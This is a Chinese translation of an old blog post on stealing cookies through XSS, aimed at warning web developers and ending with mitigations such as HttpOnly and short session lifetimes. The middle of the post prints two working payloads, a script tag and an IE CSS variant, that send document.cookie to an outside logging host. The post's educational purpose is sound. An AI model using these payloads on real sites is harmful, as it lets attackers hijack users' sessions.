XSS攻击之窃取Cookie

译者按: 10年前的博客似乎有点老了,但是XSS攻击的威胁依然还在,我们不得不防。

原文: XSS - Stealing Cookies 101

译者: Fundebug

为了保证可读性,本文采用意译而非直译。另外,本文版权归原作者所有,翻译仅用于学习。

窃取Cookie是非常简单的,因此不要轻易相信客户端所声明的身份。即便这个Cookie是在数秒之前验证过,那也未必是真的,尤其当你仅使用Cookie验证客户端的时候。

2006年1月,LiveJournal遭到了XSS攻击,这个事件足以警示我们。还有,2006年10月,MySapce也遭到了XSS攻击),这告诉我们必须非常谨慎地过滤用户发布的文本,因为黑客可以在文本中掺杂一些JavaScript代码,以此窃取登陆用户的Cookie

正如黑客攻击LiveJournal那样,你不需要在登陆用户的浏览器进行任何操作,而可以在第三方进行所有操作。更糟糕的是,窃取Cookie事实上操作起来非常简单,但是防范起来却非常困难

下面的的JavaScript代码就可以窃取Cookie,是不是很简单?

<script>new Image().src="http://jehiah.com/_sandbox/log.cgi?c="+encodeURI(document.cookie);</script>

如果我可以将这段代码插入到某个登陆用户的页面,则Cookie就会通过HTTP请求发送给我,然后我就可以伪造那个可怜的登陆用户了!

在IE浏览器上,可以通过在CSS代码中执行JavaScript来窃取Cookie,也很简单。

<style>.getcookies{ background-image:url('javascript:new Image().src="http://jehiah.com/_sandbox/log.cgi?c=" + encodeURI(document.cookie);');}</style><p class="getcookies"></p>

如果你对用户发布的文本内容不进行严格的过滤的话,黑客就可以很方便地窃取Cookie。是不是很可怕?如果你是一个负责任的开发者的话,你就应该保持警惕!因此,你必须假设所有用户的Cookie都被窃取了。注意,是所有用户,对于这一点,我不想含糊其辞。

为了保证安全:请不停地重设session的重设;将过期时间设置短一些;监控referreruserAgent的值;使用HttpOnly禁止脚本读取Cookie。这些措施并非万无一失,但是增加了黑客的难度,因此也是有效的。

如果你对MySapce遭到的XSS攻击)不了解,可以查看黑客本人公开的技术细节,很有趣,不过切勿模仿,因为他为自己的行为此付出了不小的代价:三年内被禁止使用电脑!

参考链接

版权声明:
转载时请注明作者Fundebug以及本文地址:
https://blog.fundebug.com/2017/08/16/xss_steal_cookie/

您的用户遇到BUG了吗?

体验Demo 免费使用

.copyright * { box-sizing: border-box; }

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏屈定‘s Blog

使用RSS和Wordpress定制化阅读

大多数程序员都有写博客或者阅读博客的好习惯,那么几乎每个人都收集了一堆RSS源,那么如何聚合就成了一个问题.

675
来自专栏求索之路

教你用android玩冲顶大会——实现几个小时的财务自由

最近答题类app比较火,玩了几把之后想到为什么不用技术来查找答案呢?因此搞了一款辅助app,能够帮助大家直接搜索答案.经过两天的开发和三天的测试,终于让我的冲...

2846
来自专栏腾讯防水墙

验证码前端性能分析及优化实践

在越来越注重用户体验的趋势下,验证码作为一种自打诞生以来就被贴上“多余”标签的产品,更应该给用户提供良好的体验。本文以滑动验证码作为切入点,分析了验证码可能存在...

1.2K9
来自专栏web前端

04 响应式

          2.1 媒体有覆盖性(当width: 1200px 时,符合下面两个条件,但是靠媒体样式的覆盖性,所以会采用第二个样式)

790
来自专栏小特工作室

Navi.Soft31.Mobile框架(含下载地址)

1概述 1.1应用场景         互联网的发展,使用基于Web的软件异军突起,目前占据着相当大的市场份额,而手机,平板电脑等移动端设备的频繁使用,使移动端...

18210
来自专栏葡萄城控件技术团队

不用Visual Studio,5分钟轻松实现一张报表

常规的报表设计,如RDLC、水晶报表等,需要安装Visual Studio,通过VS提供的报表设计界面来设计报表,通过VS设计报表对.NET开发者而言非常方便,...

2055
来自专栏walterlv - 吕毅的博客

WPF 使用 WindowChrome,在自定义窗口标题栏的同时最大程度保留原生窗口样式(类似 UWP/Chrome)

发布于 2018-07-12 07:57 更新于 2018-09...

1092
来自专栏web前端

04 响应式

一、是什么      不同的浏览器尺寸,不同的排版(舒服美观为主) 二、媒体查询      1、媒体类型           all             所...

1836
来自专栏练小习的专栏

响应式布局入门

最近研究响应式设计框架的时候,发现网上很多相关的属性介绍,却很少有系统的入门级使用的文章,我自己整理了一篇入门知识,并没有什么高深的理论,也不牵扯到框架。 目前...

2325
来自专栏FreeBuf

Chrome XSS审计之SVG标签绕过

在一年前,在我的私人Twitter账户 brutal secret ,我分享了一个有趣的方法来通过审计绕过chrome 的xss过滤器。我们将从黑盒测试的角度...

2985

扫码关注云+社区